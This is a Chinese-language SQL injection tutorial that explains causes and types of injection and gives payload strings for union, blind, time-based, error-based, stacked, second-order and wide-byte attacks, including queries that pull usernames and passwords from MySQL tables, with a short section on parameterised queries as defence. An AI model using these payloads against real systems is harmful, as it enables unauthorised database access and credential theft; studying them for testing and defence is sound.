SQL注入基本原理
原理:
SQL注入指是服务器未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为。
原因:
- 代码对带入SQL语句的参数过滤不严格
- 未启用框架的安全配置
- 未使用框架安全的查询方法
- 测试接口未删除
- 未启用防火墙
- 未使用其他的安全防护设备
危害:
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。
SQL注入基本知识
MySQL默认的数据库有sys、mysql、performance_schema、information_schema;
information_schema存放着所有的数据库信息(5.0版本以上才有这个库)
information_schema库有三个表:
- SCHEMATA:该表存放用户的数据库库名(SCHEMA_NAME 字段记录数据库库名)
- TABLES:该表存放用户数据库库名和表名(TABLE_SCHEMA 字段记录数据库名,TABLE_NAME 字段记录表名)
- COLUMNS:该表存放用户数据库库名、表名和字段名(TABLE_SCHEMA 字段记录数据库名,TABLE_NAME 字段记录表名,COLUMN_NAME 字段记录字段名)
SQL注入类型
-
union注入
-
boolean注入-布尔盲注
-
时间盲注
-
报错注入
-
堆叠查询注入
-
二次注入
-
宽字节注入
-
base64注入
-
cookie注入攻击
-
XFF注入攻击
union注入
1.测试报错
在参数后面添加引号(有单引号和双引号两种)尝试报错,并用and 1=1#和and 1=2#测试报错
?id=1' and 1=1# //页面返回正常
?id=1' and 1=2# //页面返回不正常
?id=1" and 1=1# //页面返回正常
?id=1" and 1=2# //页面返回不正常
2.猜测字段(使用order by函数)
?id=1' order by 1# //返回正常
?id=1' order by 2# //返回正常
?id=1' order by 3# //返回错误
说明字段数为2
3.使用union联合查询
?id=-1' union select 1,2# //看哪个字段可以显示信息,利用它获取数据库信息
修改id为一个不存在的id,强行报错,因为代码默认只返回第一条结果,不会返回 union select 的结果
4.获取数据库信息
id=-1' union select 1,database()# //获取数据库名
id=-1' union select 1,user()# //获取数据库用户名
id=-1' union select 1,version()# //获取数据库版本信息
id=-1' union select 1,table_name from information_schema.tables where table_schema='sqli' limit 0,1# //查询数据库的表
id=-1' union select 1,column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1# //查询数据库的字段
id=-1' union select ,group_concat(name,password) from 表名# //从表中获取数据group_concat(str1,str2,...) //连接一个组的所有字符串
boolean注入-布尔盲注
布尔盲注,页面不返回数据,只能通过页面返回的真假进行判断
1.测试报错
在参数后面添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
?id=1' and 1=1# //页面返回正常
?id=1' and 1=2# //页面返回不正常
2.判断数据库名的长度
?id=1' and length(database())>=1# //页面返回正常
?id=1' and length(database())>=5# //页面返回正常
?id=1' and length(database())>=6# //页面返回错误
由此可得数据库名长度为5个字符
length()函数的作用是返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。这意味着,对于包含四个两字节字符的字符串,length() 返回8, 而 char_length()返回 4
3.猜解数据库名
一个字符一个字符地判断获取数据库名
?id=1' and substr(database(),1,1)='a'# //判断数据库名第一个字符是否为a
?id=1' and substr(database(),1,1)='a'# //判断数据库名第二个字符是否为a
使用burp爆破字母a的位置,即可得到数据库每一个位置上的字符
substr()函数从特定位置开始的字符串返回一个给定长度的子字符串
substr()函数有三个参数,用法为:substr(str,pos,len)
str参数代表待截取的字符串
pos参数代表从什么位置开始截取
len参数表示字符串截取的长度
使用ASCII码查询(a的ASCII码是97)
?id=1' and ord(substr(database(),1,1))=97# //判断数据库名第一个字符是否为a
ord()函数用来将字符转换为ASCII码
4.猜解数据库表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'# //修改后面a的值猜解第一个表的第一个字符,修改修改1,1前边的1~20,逐字符猜解出第一个表的名,修改limit的0,1前边的0~20,逐个猜解每个表
5.猜解数据库字段名
?id=1' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'# //修改1,1前边的1~20,逐字符猜解出第一个字段的名,修改limit的0,1前边的0~20,逐个猜解每个字段
6.读取数据
?id=' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'#
时间盲注
时间盲注是指服务器关闭了错误回显,只能根据服务器返回内容的时间来判断注入,可以使用benchmark,sleep等函数来延迟服务器返回数据的时间,也可以让两个非常大的数据表做笛卡尔积产生大量的计算从而产生时间延迟
1.使用sleep函数判断数据库名
?id=1 and if(substr(database(),1,1)='a',sleep(5),1)# //如果判断正确则会延迟5秒返回数据
2.使用sleep函数判断数据库表名
?id=1 and if(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a',sleep(5),1)# //如果判断正确则会延迟5秒返回数据
3.使用sleep函数判断数据库字段名
?id=1 and if(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a',sleep(5),1)# //如果判断正确则会延迟5秒返回数据
4.使用sleep函数读取数据
?id=1 and if(substr((select 字段名 from 表名 limit 0,1),1,1)='a',sleep(5),1)# //如果判断正确则会延迟5秒返回数据
报错注入
在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数可以获取数据库数据。
常见的报错函数
xpath路径语法错误
- extractvalue() //查询节点内容
- updatexml() //修改查询到的内容
它们的第二个参数都要求是符合xpath语法的字符串如果不满足要求则会报错,并且将查询结果放在报错信息里
主键重复
- floor() //返回小于等于该值的最大整数
1.使用引号尝试报错
?id=1'
2.获取数据库名
?id=' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# //concat()函数将多个字符组合在一起,0x7e是"~"符号的16进制,在这作为分隔符
3.获取表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)#
4.获取字段名
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)#
5.获取数据
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)#
其他报错函数的payload
1.extractvalue
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
2.floor
?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
堆叠查询注入
使用分号将payload拼接在一起
select * from users where id=’1’;select if(length(database())>5,sleep(5),1)#
二次注入
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
注入方法
- 注册一个admin ’#的账号
- admin用户的原来密码为admin,我们以admin ’#用户登陆,再进行密码修改,原本admin’#账户的密码为123,我们修改为123456
- 然后打开数据库惊奇的发现admin账户的密码变成了123456,而admin '#的密码没有变
- 这样我们就在不知道admin密码的情况下修改了admin的密码,然后可以登录,实现注入
宽字节注入
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字;
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
base64注入
base64注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密,其注入方式与常规注入一样
cookie注入攻击
注入点在cookie中
XFF注入攻击
XFF,是X-Forwarded-for的缩写,XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
防御方法
- 使用参数化查询。
- 数据库服务器不会把参数的内容当作
SQL
指令的一部分来拼接执行; - 而是在数据库完成
SQL
指令的编译后才套用参数运行(预编译)。 - 避免数据变成代码被执行,时刻分清代码和数据的界限。